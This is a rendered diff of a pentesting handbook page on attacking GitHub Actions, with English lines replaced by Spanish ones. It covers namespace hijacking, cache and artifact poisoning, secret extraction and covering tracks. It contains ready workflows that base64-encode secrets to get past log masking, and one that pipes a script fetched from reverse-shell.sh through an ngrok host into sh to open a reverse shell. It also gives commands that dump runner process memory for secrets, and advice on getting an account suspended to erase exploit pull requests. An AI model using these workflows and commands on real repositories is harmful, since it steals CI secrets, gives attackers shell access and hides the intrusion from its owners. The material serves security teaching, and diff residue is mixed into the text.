### Deleted Namespace Repo Hijacking
|
||||
### Secuestro de Repositorio de Namespace Eliminado
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de un tiempo. Si un repositorio tenía **menos de 100 estrellas antes del cambio de nombre**, Github permitirá que el nuevo usuario registrado con el mismo nombre cree un **repositorio con el mismo nombre** que el que fue eliminado.
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> Así que si una acción está utilizando un repositorio de una cuenta que no existe, aún es posible que un atacante pueda crear esa cuenta y comprometer la acción.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Si otros repositorios estaban utilizando **dependencias de estos repositorios de usuario**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
## Pivotar Repositorio
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> En esta sección hablaremos sobre técnicas que permitirían **pivotar de un repositorio a otro** suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior).
|
||||
|
||||
### Cache Poisoning
|
||||
### Envenenamiento de Caché
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
Se mantiene una caché entre **ejecuciones de flujo de trabajo en la misma rama**. Lo que significa que si un atacante **compromete** un **paquete** que luego se almacena en la caché y es **descargado** y ejecutado por un flujo de trabajo **más privilegiado**, podrá **comprometer** también ese flujo de trabajo.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Artifact Poisoning
|
||||
### Envenenamiento de Artefactos
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
Los flujos de trabajo podrían usar **artefactos de otros flujos de trabajo e incluso repositorios**, si un atacante logra **comprometer** la Acción de Github que **sube un artefacto** que luego es utilizado por otro flujo de trabajo, podría **comprometer los otros flujos de trabajo**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## Post Explotación desde una Acción
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Accediendo a AWS y GCP a través de OIDC
|
||||
|
||||
Check the following pages:
|
||||
Consulta las siguientes páginas:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Accediendo a secretos <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- Si el secreto o token está configurado como una **variable de entorno**, se puede acceder directamente a través del entorno usando **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Listar secretos en la salida de Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Obtener shell inverso con secretos</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- Si el secreto se utiliza **directamente en una expresión**, el script de shell generado se almacena **en disco** y es accesible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Para las acciones de JavaScript, los secretos se envían a través de variables de entorno.
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Para una **acción personalizada**, el riesgo puede variar dependiendo de cómo un programa esté utilizando el secreto que obtuvo del **argumento**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Abusando de los runners autoalojados
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
La forma de encontrar qué **Github Actions se están ejecutando en infraestructura no de github** es buscar **`runs-on: self-hosted`** en la configuración yaml de Github Action.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
Los runners **autoalojados** pueden tener acceso a **información extra sensible**, a otros **sistemas de red** (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, **más de una acción podría ejecutarse al mismo tiempo** y la maliciosa podría **robar los secretos** de la otra.
|
||||
|
||||
En los runners autoalojados también es posible obtener los **secretos del proceso \_Runner.Listener**\_\*\* que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Consulta [**esta publicación para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
### Registro de Imágenes Docker de Github
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
Es posible crear acciones de Github que **construyan y almacenen una imagen Docker dentro de Github**.\
|
||||
Un ejemplo se puede encontrar en el siguiente desplegable:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.
|
||||
|
||||
Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Luego, el usuario podría buscar **secretos filtrados en las capas de la imagen de Docker:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Información sensible en los registros de Github Actions
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Incluso si **Github** intenta **detectar valores secretos** en los registros de acciones y **evitar mostrarlos**, **otros datos sensibles** que podrían haberse generado en la ejecución de la acción no estarán ocultos. Por ejemplo, un JWT firmado con un valor secreto no estará oculto a menos que esté [específicamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Covering your Tracks
|
||||
## Cubriendo tus Huellas
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(Técnica de [**aquí**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primero que nada, cualquier PR levantada es claramente visible al público en Github y a la cuenta de GitHub objetivo. En GitHub, por defecto, **no podemos eliminar un PR de internet**, pero hay un giro. Para las cuentas de Github que están **suspendidas** por Github, todos sus **PRs son automáticamente eliminados** y retirados de internet. Así que, para ocultar tu actividad, necesitas o bien hacer que tu **cuenta de GitHub sea suspendida o que tu cuenta sea marcada**. Esto **ocultará todas tus actividades** en GitHub de internet (básicamente eliminará todos tus PR de explotación).
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algunas cosas" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> La única forma en que una organización puede darse cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado.
|
||||
|
||||
## Tools
|
||||
## Herramientas
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Action e incluso encontrar vulnerables:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user